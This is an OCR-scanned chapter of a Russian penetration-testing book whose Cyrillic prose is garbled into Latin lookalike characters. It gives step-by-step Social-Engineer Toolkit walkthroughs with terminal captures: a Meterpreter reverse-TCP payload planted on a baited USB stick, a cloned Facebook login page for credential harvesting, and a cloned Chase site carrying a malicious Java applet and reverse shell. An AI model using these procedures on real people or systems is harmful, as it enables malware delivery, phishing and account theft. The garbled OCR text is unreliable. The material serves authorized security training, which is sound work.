o) He ucnonb3yite dyHkUMn 06HOBNEeHUs nakeToB B Kali Linux. Jlyywe kak
|:| MOXHO Yallle 06HoBnsTe camy Kali, UTO6bl NPUMEHUTDL K NPUNOXEHUSM BCE
nocnegHne nopaep>xusaeMble 06HOBAEHNS.

AHOHMMHaga USB-aTaka

Jluist Takoii aTaky MbI CO3A[UM MCIIOJIHSIEMbIiT (haiis, KOTOpPbIid OyaeT oTBeyarhb 3a 0Opat-
HYIO CBSI3b MESK/LY T€JIEBOI MANIMHOI U HAIIUM TECTOBBIM KOMIIbIOTEpOM. U106k 10CTa-
BUTb 9TOT UCIIOTHAEMbIN (haiisl Ha 11eJIeByI0 MalnHy, momectuM ero Ha USB-ycrpotiicTBo
U IaINM eMy Ha3BaHue, KOTOPOe 3auHTEepeCyeT TOJIb30BaTe s 9TOH MAITUHBL

[Tocsie TOTO Kak WCmoaHsAeMbli (aiin GyaeT co3an 1 coXpaHeH Ha (Jielike, Mbl
octaBuM USB-ycTpoiicTBO B OOIIECTBEHHOM MECTe B 11eJIeBOI Opranusaiu u 6yuaem
JKATDh pe3yJibTaTa.

® [ins nonyyeHust JONOMHUTENbHON MHGOPMaLMKU NoceTuTe pasaen, noces-
I:I LWeHHbIN SET, pacnonoxeHHblin no agpecy http://www.social-engineer.org/
framework/general-discussion/.

s ocymecrBiernss USB-araky BoITOJHAUTE CIeLyIONINE TTATH.

1. BoiGepure u3 crincKa OCHOBHBIX 3a/a4 MyHKT 1) Social Engineering Attacks (ATaku
COTMANMBbHON nHKeHepun ). /{715t 3TOro BBEiNTe B KOMAH/IHYIO CTPOKY HOMED 3TOTO
MyHKTa, B HAIIIEM cJiydae 1, 1 HaskKMuTe KiaaBuiiny Enter (puc. 7.2).

Select from the menu:

1) Social -Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Social-Engineer Toolkit
5) Update SET configuration
Help, Credits, and About

Exit the Social-Engineer Toolkit

set= 1f]

Puc. 7.2. Hayano USB-aTtaku
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2. Jlns cosmanus ucrosHsgeMoro daiira Beibepure myHkT 3) Infectious Media Generator
(Teneparop nndexrnnonnsix cpen) (puc. 7.3).

Select from the menu:

1) Spear-Phishing Attack Vectors

2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
Mass Mailer Attack
Arduinoc-Based Attack Vector
Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors
Third Party Modules

Return back to the main menu.

t= 3 I

Puc. 7.3. Co3gaeM UcnonHsieMbli dain

3. Tenepatop uH(bEKIIUMOHHBIX HOCUTEJEH TPEJIOKUT TUIL dKCIIonTa. s mammx
1esiell MbI BOCIIOJIb3yeMCst uctoiasieMbiM daitiom Metasploit. [yt aT0r0 HYKHO
BBIOpaTh MyHKT 2) Standard Metasploit Executable (CranaapTHbIN HCHOTHIEMbBIH (aii
Metasploit) (puc. 7.4).

The Infectious USB/CD/DYD module will create an autorun.inf file and a
Metasploit payload. When the DVWD/USB/CD is inserted, it will automatically
run if autorun is enabled.

Pick the attack wvector you wish to use: fileformat bugs or a straight executabl
e.

1) File-Format Exploits
2) Standard Metasploit Executable

99} Return to Main Menu

Puc. 7.4. BbibupaeM CTaHAapTHbIN UCNOMHsieMbIl dalin Metasploit

4. Pa3paboTaHO HECKOJBKO IMOJIE3HBIX HATPY30K, KOTOPBIE MBI MOKEM HCIIOJIb30BATh.
Hampuwmep, narpyska Windows Meterpreter Reverse HTTPS okakeTcs 1oJie3Ha B KOPIIo-
PaTUBHOII HACTPOIKE, TOTOMY YTO OPraHU3AIUU YaCTO PA3PEIIAIOT OOIITHE MOJKITIO-
yenust HTTPS k UnTeprery. J{Jist Hamux 1esieil Mbl Oy/1eM UCTIOIB30BATh TPOCTOE
obpartroe TCP-coenunenue. [[o6aBbTe MONIE3HYIO HATPY3KY /Il 0OPATHOTO COEH-
Henust TCP, BeiOpas myHKT 2) Windows Reverse_TCP Meterpreter (Windows oGpaTHbrit
TCP Meterpreter) (puc. 7.5).
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1) Windows Shell Reverse TCP
d send back to attacker
2) Windows Reverse TCP Meterpreter
m and send back to attacker
3) Windows Reve TGP WNC DLL
end back to attac
4) Windows Shell Reverse TCF X64
ICP Lnline
5) Windows Meterpreter Reverse TCP XG4
ows x64), Meterpreter
) Windows Meterpreter Fgress Ruster
a port home via multiple ports
7) Windows Meterpreter Reverse HTTPS
ng SSL and use Meterp er
8) Windows Melerpreler Reverse DNS
dress and use Reverse Meterpreter
9) Download/Run your Own Executable

Spawn a command shell on wvictim an
Spawn a meterpreter shell on victi
Spawn a VNC server on victim and s
Windows XG4 Command Shell, Reverse
Connect back to the attacker (Wind
Spawn a meterpreter shell and find
Tunnel communication over HTTP usi
Use a hustname inslead ol an IP ad

Downloads an executable and runs 1

Puc. 7.5. Boibupaem nonesHyto Harpysky
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5. Ham Hy:KXHO ycTaHOBUTH ITPOCJYIINBATENb TIOJE3HOHN HATPY3KU. B Harei cutyarun
um Oyzer IP-azpec tecroBoii Mamunbl (172.16.122.185). B HeKOTOPbIX CiIy4asiX Bbl
MOJKETE UCII0JIb30BaTh LIEHTPAIbHBII cepBep ¢ ycraHosaennoit Kali Linux u nmposo-
JINTh aTaKy, 3a/1elicTBYsT HeCKOJbKO USB-ycTpoiicTB, Ha KOTOPBIX POCIYIINBATEIEM
10J1e3H0I Harpysku Oyzer IP-agpec TectoBoii Mammmbl. Beibepure s o6patHoro
opra IpociyinuBaresis noprt 4444 n naxmure Kiasuiny Enter. Bam Oymer npen-
JIO’KEHO CO3/[aTh IPpocJyIuBaresb. [l ero cosanms BBeute yes. byzer samnyiinen
npocaynmBarenb Meterpreter (puc. 7.6).

IP address for the payleoad listener (LHOST):172.16.12
L = Cnter the PORT for the reverse listener:4444
] Generaling Lhe paylvad.. please be palienl.

[*] Payload has been exported to the default SET directory located under: /root/

|.set/payload.exe

[*] Your attack has been created in the SET home directory (/root/.set/) folder

‘autorun’

[*] Note a backup copy of template.pdf is also in /root/.set/template.pdf if nee

ded.

[-]1 Copy the contents of the folder to a CD D/USB to autorun
= Create & listener right now [yes|no]: I

Puc. 7.6. Co3pgaHue npocnywmnsatens Meterpreter

6. Yrob6bl yBUAETH UCHIONHAEeMbIN (haii, nepeiianTe B nanky /root/.set (puc. 7.7).

kali:

~/

1s

autorun meta config payload ] } set.options

Puc. 7.7. WcnonHsieMblli chaiin B cnucke dainios nanku /root/.set
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7. Tlpocto ckomupyiite daitn payload.exe Ha Pabouuin cton. Ilocie aToro BeI MokeTe
3arpysuth ero Ha USB-ycTpoiictBo. Ho Ham Hy:KHO IPOBEPHYTH €I1le OJIMH TPIOK:
1aTh HTOMY (haliy Takoe UMsl, KOTOPOE 3aMHTEPECYET MEeNeBOi 00bEKT, HATIPUMED
Executive Bonus (McnosmuTesphbiii 6oHyc). Takoe nepernMeHOBaHUE TI0JE3HO, eCIIN
Ha 1eseBoit Mamuae Ha USB-nopTrax oTkiouena gyHkius aprodanycka. Korna
USB-ycTpoiicTBO MOATOTOBJIECHO, «[IOTEPSITE> €ro B 06IECTBEHHOM MECTE 11eJIEBOTO
MIPENPUSATHUS MU HA AaBTOCTOSTHKE.

8. Huuero He 110103peBaIONINIT 1€IEBOI 0OBEKT HAXOAUT «oTepsHHoe> USB-yerpoiictBo
U TIOZIKJTIOYAET €ro K cBoeMy KoMmbiotepy. Ha aTom arare ncrosnnsiemsrii caiin 3a-
MyCKAETCSA W MBI BUIUM OTKPBITYIO Ha TE€CTOBOI MatimHe 06010uKy Meterpreter
(puc. 7.8).

[*] Processi 7 eta config for ERB directives.
resource [/ s a config)= use multi/handler
resource [/ .S a conflg)> set payload windows/meterpreter/reverse tcp
payload i : reverse_tcp
s gl= set LHOST 172.16.122.185

eta config)= set LPORT 4444
eta config)> set ExitOnSession false
a_config)= exploit -j
[*] Exploit runnlng as background job.

[*] Started reverse TCP handler on 172.16.122.185:4444

[*] Starting the payload handler...
f ploit{han r) = [*] Sending stage

{ bytes) to 172.16.
rpreter session 1 opened (172.16.172 14444 -> 172.16.1
2016-03-28 16:58:33 -0400

2.168
168:1433) at

12
2P0

Puc. 7.8. O6onouka Meterpreter oTKpbITa Ha TECTOBOMN MallUWHE

Mcnonb3yiiTe 3Ty aTaky, eCivi OHa NpeayCcMOTPeHa I0roBOPOM MEXY BaMu
M KJIMEHTOM M Ball K/IMEHT NMOHUMAET, YTO Bbl ByaeTe AenaTb. Takasl aTaka
TaKKe TPebyeT AoCTyMNa K (MU3MUECKOMY PACTIONIOXKEHUIO LIENIEBOV OpraHu3a-
LMW UK MaLMHbL. ECTb BapuaHTbl, KOraa MOXHO OTrpaBuTb dalin nosiesHomn
HarpysKu rno 371eKTPOHHOMN MOYTE UMK C MOMOLLLIO PYroro cepsuca obMeHa
COODOLLEHUAMM.

10

Ha6op HHCTPYMEHTOB OCTOSIHHO OOHOBJISIETCS €T0 CO34aTeIAMU 1 B 110601 MO-
MEHT MOKeT ObITh PAAUKAIbHO U3MeHEH. MbI TOJIBKO CJIerKa PACKPhLIN BO3MOKHOCTH
SET. Eciu BbI kesiaeTe MpoOAOJIKITH M3ydYeHHE 9TOTO TPO3HOI0 Habopa HHCTPYMEH-
TOB, IIOCETUTE CAIT, PACIIOJIOXKEHHBIN 110 afpecy https://www.trustedsec.com/downloads/
social-engineer-toolkit/. Haunute ¢ mpocMoTpa rpejcTaBJIeHHbIX HA 9TOM caliTe BUIEO-
MaTepuaJIoB.
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C60p y4eTHbIX AaHHbIX

B aToi aTake MBI cO3MaAMM TTOAIETbHYIO KOTIUIO M3BECTHOTO caiita. Hamma xomnus,
O/IHAKO, TI03BOJIUT HAM 3aXBaTUTh yYeTHbIE JaHHbIE 110/1b30BaTesisd. IToObI Ues0BeK MOr
[IOCETUTD HAIll CAIiT, IIOTPedyeTCcs OTIPABUTD CCHUIKY Ha HEroO 0 3JIEKTPOHHON 110YTe
C 3ar0JIOBKOM WJIM T€MOM, KOTOpasi 3auHTepecyeT 1oJb3oBaTes. EMy Oyzer upezuio-
JKEHO BOITH B CUCTEMY, U BCe — y4eTHbIe JaHHbie OY1yT 3aXBaYeHbl.

1. Bsemure KoMaH/y setoolkit, a 3aTeM, HAXOAACH B TVIAaBHOM MEHIO, BBEJIUTE 1, YTOOBI
TepelTH K MEHIO COTTMATbHON MHKEHEPHUU.

2. Yrobbr BEIOpaTh 2) Website Attack Vectors ( BekTopbI ataku Ha caiiT), BBeuTe B KOMaH/I-
HOlT cTpoke 2 (puc. 7.9).

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) Wireless Access Point Attack Vector
8) QRCode Generator Attack Vector

9) Powershell Attack Vectors

10) SMS Spoofing Attack Vector

11) Third Party Modules

99) Return back to the main menu.

set> ||

Puc. 7.9. BbibupaeM HanpaBneHue ataku Ha canuT
3. [lns cbopa yueTHBIX JaHHBIX BBEAKUTE B KOMAHAHYIO CTPOKY 3 (puc. 7.10).

Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method

Full Screen Attack Method

HTA Attack Method

Return to Main Menu

battack=]]

Puc. 7.10. Buibupaem Metasploit Browser Exploit Method
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Ha gaHHbIil MOMEHT MbI ycrenrHo sarpysuau Mmoayib Credential Harvester. B Hem
y HAC eCTh TPU BapUaHTa JCHCTBII: HCIIOIb30BaHUE BeG-MabI0HOB, KIIOHUPOBAHNE caliTa
WITH TI0JTh30BATETLCKUI UMITOPT. [1JIst HaItero crieHapust Mbl BeibepeM BapuanT 2) Site Cloner
(Knonuposanue caiita) (puc. 7.11).

set:webattack=3
The Tirst method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own wehsite, note that you

should only have an index.html when using Lhe imporl websile
functionality.

1) Web Templates
?) Site Cloner
3) Custom Importl
99) Return to Webattack Menu

set:wehattacksf]

Puc. 7.11. BbibypaeM BapuaHT K/TOHMPOBaHWS canTa

B niepByto ouepeib HaM Hy:KHO BBecTH [P-azipec, 1o KoTopomy OyieT pasMeliieH caiiT,
TO eCTh aJipec X0CTa, T/Ie BbI celfuac HaxXoauTech. Bbl MoKkeTe MOATBEepAUTH cBOH 1P,
BBeJIA B IPYTOM TepMuHase ifconfig, 1 9TOT afipec aBTOMATHYECKN TOJLKEH TOSIBUTHCSI
B KOMaHJHOH cTpoke (puc. 7.12).

root@kali: ~ e ® O

File [Cdit View Search Terminal Ielp

SET

[-] Lo harvesl credenlials or paramelers from a websile as well as place Lhem inj
to a report

=== ¥ IMPORTANT * READ THLIS BEFORE ENTERING LM THE IP ADDRESS * IMPORTANT * ---

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. It it does. you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns'l know how Lo communicale with a privale IP
address, so if you don't specify an external TP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how nctworking works.

attack> IP address fTor the POST back in Harvester/Tabnabbing [172.20.1.85

Puc. 7.12. IP-agpec TeCTOBOWN MalUMHbI B KOMaHAHOM CTPOKe
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[P-anpec mareii rectoBoii Mmanmnbl — 172.20.1.85. IP-anpec Bateii TecToBoit Matim-
w1 Gyzet apyrum. [Tocie Toro kak [P Gy/er BBesieH, HeOOX0AMMO YKa3aTh a[pec cailTa,
KOTOPBII BbI XOTUTE KIOHUPOBaTh. MbI BeIGpasn https://www.facebook.com (puc. 7.13).

SET supports both HTTP and HTTPS
Example: http://www.thisisafakesite.com
battack= Enter the url to clone:https://www.facebook.com

Cloning the website: https://login.facebook.com/login.php
This could take a little bit...

You may need to copy /ual/wwwlf into /ual/www/html dependlng on where your d
irectory structure is.
Press {return} if you understand what we're saying here.l

Puc. 7.13. Agpec KOHMpYeMoro caiTa

Kionuposanue caiita 3aiiMeT HekoTopoe BpeMs. Korza aToT 11poliecc 3aBepIiuuTcs,
BBI YBUJIUTE COOOIEHHUE C TIPOCKOOI M3YUHUTh CTPYKTYPY KaTanoros Beb-cepsepa. B Kali
Linux cTpyKTypa 1o yMoI4anuio — /var/www/. YTo6bl 3a11ycTuTh BeG-cepBep, HasKMUTE
KJaBuly Enter.

Yro6bl TTIOATBEPAUTH PabOTY KIOHUPOBAHHOTO CANTA, MbI BBIIOJIHUIIN TECT B Opay-
3epe B KALI, nepenuu o axpecy 127.0.0.1 u cBoemy ceresomy 1P 172.20.1.85 u moj-
TBEPUJIH, 9TO CAlT 3arpyskeH (puc. 7.14).

Kax Buzpno us ckpunmora, SET coobmmi o AByX TecTax, KOTOPBIE MbI TPOBEJH,
4TOGBI MOATBEPUTH JIOCTYTHOCTH CaiTa.

root@kali: ~ e ® 6
File [Cdit View Search Terminal Help
SET supports both HTTP and HTTPS
Example hllp:jfwww.lhisisafakesiLe_cum
= Enter the url to clone:https://www.facebook.com

Cloning the website: https://login.taccbook.com/Login.ph
This could take a little bit...

this attack is i - r form

8 e. Regard this captures all P s on a website.
[*] You may nced to copy /var/www/* inte /var/www/html depending on where your d
irectory structure is.
Press {return} if you understand what we're saying here.
[#] The ial-Engineer Toolkit Credential Harvesler Allack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:
127.0.0.1 - - |06/Aug/2018 11:44:38] "GET / HTTP/1.1" 208 -
directory traversal attempt detected from: 127.0.8.1
127.8.8.1 - - [86/Aug/2818 11:44:33] "GET /inlern/common/reflerer_[lrame_php HTTP/
1.1" 484 -
172.20.1.85 - - [06/Aug/2018 11:46:06] "GET / HTTP/1.1" 200 -
dircctory traversal attempt detected from: 172.20.1.85
172.20.1.85 - - [06/Aug/2018 11:46:08] "GET /intern/common/referer frame.php HTI
P/s1.1" 484 -

Puc. 7.14. MoaTBep>xaeHWe 3arpysku canta
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Ha ganupiit MOMEHT MBI yCIIENTHO HACTPOUJIM HalLy N1aTdopMy B3auMOEiCTBHS,
€ KOTOPOI CO3/Ia/INM TIOJI/IEJIbHOE 3JIEKTPOHHOE MMUCHbMO CO CCBIJIKON Ha HAIly CUCTEMY
1 OTIPABUM 3TY CCBIJIKY Ha TOYTOBBIN AIIMK Hallel KepTBbL. BalinM OCHOBHBIM HC-
TOYHWKOM OYIyT Pe3yIbTaThl IPOBEACHHON paHee pasBeaku. [[1MCHhMO 0TKHO BBITIS-
JIETh TaK, Kak OY/TO €To OTIPABIII YEJIOBEK, XOPOIIO 3HAKOMBIH C I[EJIEBBIM 00BEKTOM.
Kpome Toro, 4TobsI 11e1eBOi 06BEKT HUYETo He 3aT0[03PUJT, HY;KHO COXPAHUTH CTHJIH-
CTUKY U TOJITMCH 3TOTO KOPPECIIOHIEHTA.

MHorue MtoAn OTBEYAIOT Ha 3NIEKTPOHHbIE MCbMa C MOBUMbHBIX TENEhOHOB,
1 06bI4HO MOANMCY B NMUCbMAX, OTTNPABNEHHbIX C MOBUMIBLHOTO, 3HAUUTESNTBHO
OT/IMYAOTCS OT TaKWUX XXe MoAnucen B NMUcbMax ¢ HoyTbyka. Hanpumep,
Korga nucbMo OTMPAB/IEHO C HOYTOYKa, B MOAMUCKU COTPYAHMKA KOMMaHUK
Ha HOyT6YyKe yka3aHO ero NnoJIHoe UMsl, ckaxkeM [XOH YVUHTep, a Npu OTBETE
€ MobunbHoro TenedoHa HanmcaHo --J. Bbl AOMKHbI 3TO YYUTLIBATD.

Bwmecto Toro 4ToObl OPUEHTUPOBATHCS HAa HECKOJIBKUX TT0JIb30BaTEEH, Y KOTOPBIX
€CTb aJ[pec Balllell 2JIeKTPOHHOMN TTOYTBI, MOKHO OPUEHTUPOBATHCS HAa BCEX MOJTbH30-
BaTesell CeTH, 4aCThi0 KOTOPOU BbI ABJAETECh. [/ 5TOro moTpedyeTcs BhIIOJHUTD
ele HeCKOJIbKO 1AaroB W BOCIIOJb30BATHCS JOMOJHUTEIbHBIMI MHCTPYMEHTAMMU.
K sToMy Bompocy Mbl BepHeMcs B raase 11, mpu TectupoBannu 6eCrpoBOIHOIO IPO-
HUKHOBEHUS.

BpenoHocHbIN Java-annneT

3/1eCh MBI UCIIOJIb3YEM TTOXOKYI0 (DYHKITHIO aTaky cOOPa YUETHBIX JaHHDIX, BCTPOUB HA
3TOT pas M0JIb30BaTeJbCKUI allllyIeT Java B CTPaHUILy, 3allPAlIMBAIONIYIO Y TI0JIb30BaTeIs
rpaBa Ha BbITTosiHeHue. [locsie Toro Kak 1osb3oBaTesb IPUMeT IIPUTJIallieHne, ToJIe3Hast
HArpy3Ka BBITOJHUTCS U [[eJIeBast MAIIMHA OAKJIIOUUTCS K HAIIIEMY KOMITLIOTEpY, 00€-
CIIeYrBasi TeM CaMbIM y/IaJeHHBII JOCTYII.

1. Emre pas 3amycTuTe MHCTPYMEHTHI COIIMAIBHOTO NHKEHEepa. Y1o6bI BbI6paTb COOT-
BETCTBYIOIIEe MEHIO, B KOMaHIHON cTpoke BBeuTe 1. [lanee, YTOOBI BbI6paTb Website
Attack Vectors, BBeuTe 2.

2. Yto6sl BIOpaTh BekTOp aTaku 1) Java Applet Attack (ATaka Java-amiuiera), BBeuTe
B KOMaH/IHY10 CTPOKY 1 (puc. 7.15).

3. Tlocue 3arpysku Mbl OcTaHOBUMCS Ha BapuaHTe 2) Site Cloner (KsionupoBanue caifta),
KaK JieJiajiv 9TO B IIPEAbIAYIIEM IIPUMEPE.

4. Bac cmpocsr, ucrosbayere Ju BbI mepeajapecaruio noptos uiu NAT-enabled.
MpbI B aTOM ITpEMEpE BBEIEM No, TOCKOJIBKY 3T (DYHKITNN HACTPAUBAIOTCS BO BHY-
TpeHHell cpejie.

5. Hacrpoiite IP-agpec npocaymusaresnsa. SET no ymosndanuio obHapyskut Bamr 1P
U aBTOMaTHYeCKH J106aBUT €ro B COOTBETCTBYMOIIEE ToJie BBoza. OT Bac Tpebyercst
IIPOCTO HAXKATh KJIaBuUILy Enter.
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root@kali: ~ e ® 9
File kdit View Search lerminal Help

ate however when clicked a window pops up then is replaced with the malicious 1i
nk. You can edit the link replacement settings in the set_config if its too slow
/fast.

The Multi-Attack method will add a combination of attacks through the web attack
menu. For example you can utilize the Java Applet., Metasploit Browser, Credenti
al Harvester/Tabnabbing all at once to see which is successful.

The HTA Attack method will allow you to clone a site and perform powershell inje
ction through HTA files which can be used for Windows-based powershell exploitat
ion Lhrough Lhe browser.

1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
Tabnabbing Attack Method
Web Jacking Attack Method
Multi-Attack Web Method
Full Screen Attack Method
HTA Attack Method

Return to Main Menu

Puc. 7.15. Boibop BekTopa aTtaku Java Applet Attack

root@kali: ~ e ® O
bile kdit View Search lerminal Help
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completcly
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templales
2) Site Cloner

3) Custom Import

99) Return to Webattack Menu

set:webattack=2
-1 NAT/Port Forwarding can be used in the cases where your SET machine is

[-]1 not externally exposed and may be a different IP address than your reverse 1
istener.

set> Are you using NAT/Port Forwarding [yes|no]l: no

set> TP address or URL (www.ex.com) for the payload listener (LHDST) [192.168.8.
183]:

Puc. 7.16. Bbibrpaem BapuaHT 2) Site Cloner (KnoHMpoBaHue caita)



240 FnaBa 7 e CoumanbHash UHXeHepus

6. Jlasee BaM GyieT PETIOKEHO HACTPOUTD CaM aIITIJIET Java, UCTIOIb3Yst OJIMH U3 TPEX
BapraHTOB. MBI BEIGEpEM BCTPOCHHYIO (hYHKIMIO (2), KoTopast moctasisiercst ¢ SET.
Ecisu BBI 3HaeTe, Kak KOAUPOBATH Ha Java, BBEAUTE 3.

root@kali: ~ Q@ O
File Edit View Search Terminal Help

NAT/Port Forwarding can be used in the cases where your SET machine is
not externally exposed and may be a different IP address than your reverse 1

> Are you using NAT/Port Forwarding lyes|nol: no
> IP address or URL (www.cx.com) for the payload listener (LHOST) [192.168.0.

NexL we need Lo specifly whelher you will use your own sell generaled java applel
, built in applet, or your own code signed java applet. In this section, you hav
e all three options available. The first will create a self-signed certificate i
f you have the java jdk installed. The second option will use the one built into
SET, and the third will allow you to import your own java applet OR code sign t
he one built into SET if you have a certificate.

Select which option you want:

1. Make my own sclf-signed certificate applet.

2. Use the applet built into SET.

3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2.

Puc. 7.17. BoibrpaeM HyXHbIVi BapuaHT HacTpoMKkK annneTta

7. Tocse atoro SET npucTynuT K CO3AaHUIO arera. Bam OyaeT mpeiio)keHo BBECTH
IP-azpec 1eeBoOro caiita [jist KIOHUPOBaHUs. Bbl HaBepHSIKA 3aX0TUTE BHIOPATD
CaiiT, KOTOPOMY JKepTBa JI0BepsieT 1 Ha KOTOPOM TOYHO IIPHUMET 3aIIpoC Ha 3allyCK
Java-anmuiera. Ml 17151 517010 BhIOpasu cailT https://www.chase.com. TTociie kioHIpO-
Banust SET asromarndecku gobasut amiier Java (puc. 7.18).

Enler Lhe number you wanl Lo use [1-3]: 2

[*] Dkay! lsing the one built infto SFT - be careful, self signed isn't accepted
in newer versions of Java :(

[-1 SET supports both HTTP and HTTPS

[-]1 Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:https://www.chase.com

Cloning the website: https://www.chase.com
This could take a little bit...

Injecting Java Applet attack into the newly cloned website.
Filename obfuscation complete. Payload name is: ICWBMtyIqlTVv
Malicious java applet website prepped for deployment

Puc. 7.18. KnoHvpoBaHue caiTa ¢ aBToMaTU4eckuM fobaBsieHneM annnerta

8. JlobaBbTe B aIIuieT MOJIe3HYI0 Harpy3Ky. B aToM mipuMepe Mbl Oy/eM HCIIOJIb30BATh
BapuanT 3 (puc. 7.19).
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root@kali: ~ Q@ O
File Edit View Search Terminal Help

What payload do you want to generate:
Name : Description:

1) Mcterpreter Memory Injection (DEFAULT) This will drop a meterpreter paylo
ad through powershell injection
2) Meterpreter Multi-Memory Injection This will drop multiple Metasploit
payloads via powershell injection
3) SE Toolkit Interactive Shell Custom interactive reverse toolkit
designed for SET
4) SE Tooulkil HTTP Reverse Shell Purely nalive HTTP shell wilh AES
encryption support
5) RATTE HTTP Tunneling Payload Security bypass payload that will
tunnel all comms over HTTP
6) ShellCodeeExec Alphanum Shellcode This will drop a meterpreter paylo
ad through shellcodeexec
7) Import your own executable Specifty a path for your own execut
able

8) Import your own commands.txt Specifty payloads to be sent via co
mmand line

set:payloads=3]]

Puc. 7.19. Boibupaem nonesHyto Harpysky annnera

9. Tenepb ocTanoch BIOPATH OPT MPOCTYITHBaHUsL. Mbl OCTaBUJIH MTOPT, TPEJJIara-
eMblii 1o yMosrqauuio, — 443 (puc. 7.20).

root@kali: ~ Q@ O
File Edit View Search Terminal Help

7) Import your own executable Specify a path for your own executfs
able

8) Import your own commands.txt Specify payleads to be sent via co
mmand line

set:payloads>3

o o o o oo oo o o o o o o o o o o o o o oo o o o o o o o o o o o

Web Server Launched. Welcome to the SET Web Attack.
EEE SRR S A S AL SRS S S S LRSS EE S S LS S AL S S L L 2

[--] Tested on Windows, Linux, and 0SX [--]
[*] Moving paylvad inlov cloned website.

[#] The site has been moved. SET Web Server is now listening..

[-]1 Launching the SET Interactive Shell...

Port to listen on [443]:
I*] Detaulting to port 443 for the Llistener.
[*] Crypto.Cipher library is installed. AES will be used for socket communicatio
n.
[*] ALl communications will leverage AES 256 and randomized cipher-key exchange.§’
[#] The Social-Fngineer Toolkit (SFT) is listening on: B.0.0.0:443 g

Puc. 7.20. Boibrpaem nopT Ans NpocnywmBaHns
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